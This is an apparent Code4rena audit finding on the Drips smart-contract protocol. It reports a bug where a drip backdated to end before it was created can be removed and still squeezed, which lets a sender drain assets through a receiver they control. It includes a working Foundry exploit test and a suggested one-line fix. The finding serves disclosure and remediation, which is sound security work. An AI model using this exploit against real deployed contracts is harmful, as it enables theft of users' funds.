code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-01-drips/blob/main/src/Drips.sol#L425-L430

Vulnerability details

Impact

By creating a drip that ends after the current cycle but before its creation time and immediately removing it, the sender doesn't have to put in any assets but the receiver can still squeeze this drip.

By setting a receiver that the sender controls, the sender can drain arbitrary asset from the contract.

Proof of Concept

Let the cycle length be 10 seconds. By i-th second I mean the i-th second of the cycle. At the 5th second, sender creates a drip that starts at 0th second and lasts for 2 seconds. At the 6th second, sender removes this drip.

https://github.com/code-423n4/2023-01-drips/blob/main/src/Drips.sol#L569 Since the drip ends before it was created, the dripped amount is 0, so the sender can retrieve their full balance.

https://github.com/code-423n4/2023-01-drips/blob/main/src/Drips.sol#L425-L430 https://github.com/code-423n4/2023-01-drips/blob/main/src/Drips.sol#L490-L496 Now the receiver squeezes from this drip. SqueezeStartCap = _currCycleStart() = 0th second, squeezeEndCap = 6th second, so the receiver can still squeeze out the full amount even though the sender has withdrawn all of his balance.

Please add the following test to DripsHub.t.sol. It verifies that the sender has retrieved all of his assets but the receiver can still squeeze.

    function customSetDrips(
        uint256 forUser,
        uint128 balanceFrom,
        uint128 balanceTo,
        DripsReceiver[] memory newReceivers
    ) internal {
        int128 balanceDelta = int128(balanceTo) - int128(balanceFrom);
        DripsReceiver[] memory currReceivers = loadDrips(forUser);

        vm.prank(driver);
        int128 realBalanceDelta =
            dripsHub.setDrips(forUser, erc20, currReceivers, balanceDelta, newReceivers, 0, 0);

        storeDrips(forUser, newReceivers);

    }

    function testExploitSqueeze() public {
        skipToCycleEnd();
        // Start dripping
        DripsReceiver[] memory receivers = new DripsReceiver[](1);
        receivers[0] = DripsReceiver(
            receiver,
            DripsConfigImpl.create(0, uint160(1 * dripsHub.AMT_PER_SEC_MULTIPLIER()), uint32(block.timestamp), 2)
        );

        DripsHistory[] memory history = new DripsHistory[](2);

        uint256 balanceBefore = balance();
        skip(5);
        customSetDrips(user, 0, 2, receivers);
        (,, uint32 lastUpdate,, uint32 maxEnd) = dripsHub.dripsState(user, erc20);
        history[0] = DripsHistory(0, receivers, lastUpdate, maxEnd);

        skip(1);
        receivers = dripsReceivers();
        customSetDrips(user, 2, 0, receivers);
        (,, lastUpdate,, maxEnd) = dripsHub.dripsState(user, erc20);
        history[1] = DripsHistory(0, receivers, lastUpdate, maxEnd);

        assertBalance(balanceBefore);

        // Squeeze
        vm.prank(driver);
        uint128 amt = dripsHub.squeezeDrips(receiver, erc20, user, 0, history);
        assertEq(amt, 2, "Invalid squeezed amt");
    }

Tools Used

VSCode, Foundry

Recommended Mitigation Steps

https://github.com/code-423n4/2023-01-drips/blob/main/src/Drips.sol#L426 One potential solution is to add an additional check after this line. Something along the lines of: if (squeezeStartCap < drips.updateTime) squeezeStartCap = drips.updateTime;